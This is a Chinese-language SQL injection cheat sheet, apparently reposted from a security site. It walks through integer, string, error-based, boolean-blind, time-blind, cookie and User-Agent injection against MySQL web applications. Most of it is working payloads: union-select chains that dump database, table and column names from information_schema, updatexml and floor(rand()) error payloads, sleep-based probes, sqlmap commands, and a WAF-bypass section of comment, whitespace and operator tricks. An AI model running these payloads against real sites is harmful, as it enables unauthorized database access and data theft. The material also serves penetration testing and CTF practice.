SQL注入
- 整数型注入
加入单引号 语句出错,不会回显
加and 1=1 语句执行正常,返回一般页面
加and 1=2 语句正常运行,返回原网页,但无法查询结果
id=1 order by 1 查询数据库长度,若为2
id=-1 union select 1,2 查看回显位置,若为1,2,则可在1,2处添加查询语句
id=-1 union select 1,database() 查询数据库名,若为sqli
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schrma=’sqli’
页面返回表名,若为user
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=’user’
页面返回字段名,若为id、flag
id=-1 union select 1,group_concat(flag) from sqli.user 成功!
- 字符型注入
id=’text’
所有插入的SQL语句会被包在单引号中,所以无效。需要用注释符注释掉后面的单引号,即–+或#
id=1’
id=1’ and 1=1 #
id=1’ and 1=2 #
id=1’ order by 1# 获取数据库长度,若为2
id=-1’ union select 1,2 # 获取回显位置,若为1
id=-1’ union select database(),2 # 获取数据库名,若为sqli
id=-1’ union select group_concat(table_name),2 from information_schema.tables where table_schema=’sqli’# 获取表名,若为flag
id=-1’ union select group_concat(column_name),2 from information_schema.columns where table_name=’flag’ # 获取字段名,若为flag
id=-1’ union select group_concat(flag),2 from sqli.flag # 成功!
- 报错注入
id=1’ 页面返回报错信息,则存在报错注入
期间用到了这几个函数
- updatexml()
updatexml(1,(concat(0x7e,(select…),0x7e)),1)
但是这个函数只能返回最多32位的值,且对mysql的版本有要求
- 1 Union select
count(*),concat(database(),0x26,floor(rand(0)*2))x from information_schema.columns group by x;
concat(str1,str2,…)函数,返回所有参数连接的成的字符串。若有一个参数值为NULL,则返回NULL
count(*)函数:返回选择的行数
floor函数:返回获得的小于或大于数值表达式的最大整数
rand()函数,返回一个随机的数介于0-1之间
- 布尔盲注
id=1 id=1’ 页面只返回yes or no
不会有其他任何的信息
- 手动注入:
id=1 and length(database())>= n
判断数据库名长度
id=1 and substr(database(),1,1)=’t’
判断第一位的字母
id=1 and substr((select table_name from information_schema.tables and table_schema=’’),1,1)=’’
判断表明,以此类推。但是此法实在是太麻烦而且麻烦了,所以考虑其他方法
- python
get_data()
- burp suite
- 时间盲注
id=1 id=1’页面不会返回任何值
- 手动注入:
if(length(database)>2,sleep(5),1)
可以根据burp观察返回时长
if(substr(database(),1,1)=’a’,sleep(5),1)
- sqlmap
- cookie注入
cookie注入中URL中没有get参数,可以通过burp suite 抓包,查看cookie中是否含有id=1类的参数,若有,则存在cookie注入
- 手动注入:
通过在burp中的repeater模块修改cookie里的id=1,和一般的注入相同
- sqlmap:
sqlmap -u “http://text.cn/” –cookie “id=1” –level 2 –dbs
当把等级升为2或2以上时sqlmap会尝试注入cookie参数
- UA注入
user-agent:是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。
原理:浏览器未对user-agent参数进行过滤,因此就可以通过修改user-agent参数来进行攻击
当把等级升为3或3以上时sqlmap会尝试注入user-agent
- sqlmap 直接破解
sqlmap -u “url/” –level 3 –dbs
- 用burp suite抓包
将抓到的包放在abc.txt文件中,放入sqlmap文件路径下,然后进行破解
sqlmap -u “abc.txt” –level 3 –dbs
bypass
- 常用函数
system user() 系统用户名
concat() 连接字符串
user() 用户名
concat_ws() 含有分隔符地连接字符串
current_user() 当前用户名
group_concat() 连接一个组的所有字符串,并以逗号分隔每一条 数据
session_user() 连接数据库的用户名
load_file() 读取本地文件
database() 数据库名
into outfile 写文件
version() 数据库版本
ascii() 字符串的ASCII码值
@@datadir 数据库路径
ord() 返回字符串第一个字符的 ASCII码值
@@basedir 数据库安装 路径
mid() 返回一个字符串的一部分
@@version_compile_os 操作系统
substr() 返回一个字符串的一部分
count() 返回执行结果数量
length() 返回字符串的长度
substring 取值函数
div 除法运算函数 和/ 用法一样
mod: 取余数函数hex():获取16进制的值
- 替换函数
罕见函数 |
替代函数 |
作用 |
concat_ws() |
group_concat()、concat() |
拼接select concat_wa() |
char_length()、character_length() |
length() |
计算字符串长度select char_length() |
@@datadir |
|
服务器位置 |
@@basedir |
|
服务器安装位置 |
and 1 div 1 and 1 div 0 |
and 1=1 and 1=2 |
判断是否存在sql注入 |
like、* |
||
hex(0)、hex(1) |
-1.0union–+/*!abc*/%0Aselect |
union select |
%0A换行符 .0、%20代替空格 |
-1.0union–+hex(0)%0Aselect%20 |
||
&、%26、or、||、1^1^0、1^0^0、{‘’1=1} |
and |
|
like,regexp,liker ,<>,!=等 |
= |
|
xor,&,^,|| |
or |
|
and @s1ye:= length(database/**/()) |
|
|
|
|
|
|
|
|
- 代替空格
- /*!50540select user()*/ mysql(独有)内联注释,!后面的数字是版本号,表示当数据库版本>=5.5.40时执行SQL语句
打开mysql就可以看到mysql的版本号
- /* */ mysql多行注释
- %09,%0a,%0b,%0c,%0d,%20,%a0 一些空白字符
- 1、2.3、1. 浮点数形式
- 0e1、1e7 科学计数法
- +、-、!、@、~、{}、”、’、()、“ 一些特殊字符
位置:
- 参数和union之间
- union与select之间
- select与各参数之间
- 查询参数与from之间
- from后的空格
- 超强注释符
SELECT * FROM users where id =1/*!union/*!select/*!1,(select/*!password/*!from/*!users/*!limit/*!0,1),3*/;
- 特殊符号绕过WAF
~, !, “, @“, {x key}, 1.1, 1e1, (), emoji表情符号, @:=等
select * from users where id=~
- 爆数据库名、表名、字段名
用SQLmap爆破时information_schema.tables、information_schema.columns等用的是MYsql自带的表名
但有些情况下会屏蔽MYsql中的information_schema.tables、SCHEMATA、TABLES、COLUMNS等,所以可以利用“报错”
- 库名:构造一个库中不存在的函数
SELECT * FROM users where id=forsec()
当页面返回错误时仔细看看报错,说不定会有惊喜哦
- 表名:Polygon和linestring函数
SELECT * FROM users where id=1 and polygon(id)
SELECT * FROM users where id=1 and linestring(id)
- 字段名:
select * from users where id=1 and (select*from(select * from users as a join users as b) as c);
若返回字段名uid
select * from users where id=1 and (select*from(select * from users as a join users as b using(uid)) as c);
若返回字段名password
select * from users where id=1 and (select*from(select * from users as a join users as b using(uid,password)) as c);
依次类推
原理:在使用别名的时候,表中不能出现相同的字段名,否则就会报错,从而爆出字段名。然后在使用using函数依次爆出其他字段名。
using()函数:
用于两张表中的join查询
select a.*, b.* from a left join b using(colA);
相当于
select a.*, b.* from a left join b on a.colA = b.colA;
来源:freebuf.com 2020-08-10 16:13:47 by: Pretty
请登录后发表评论
注册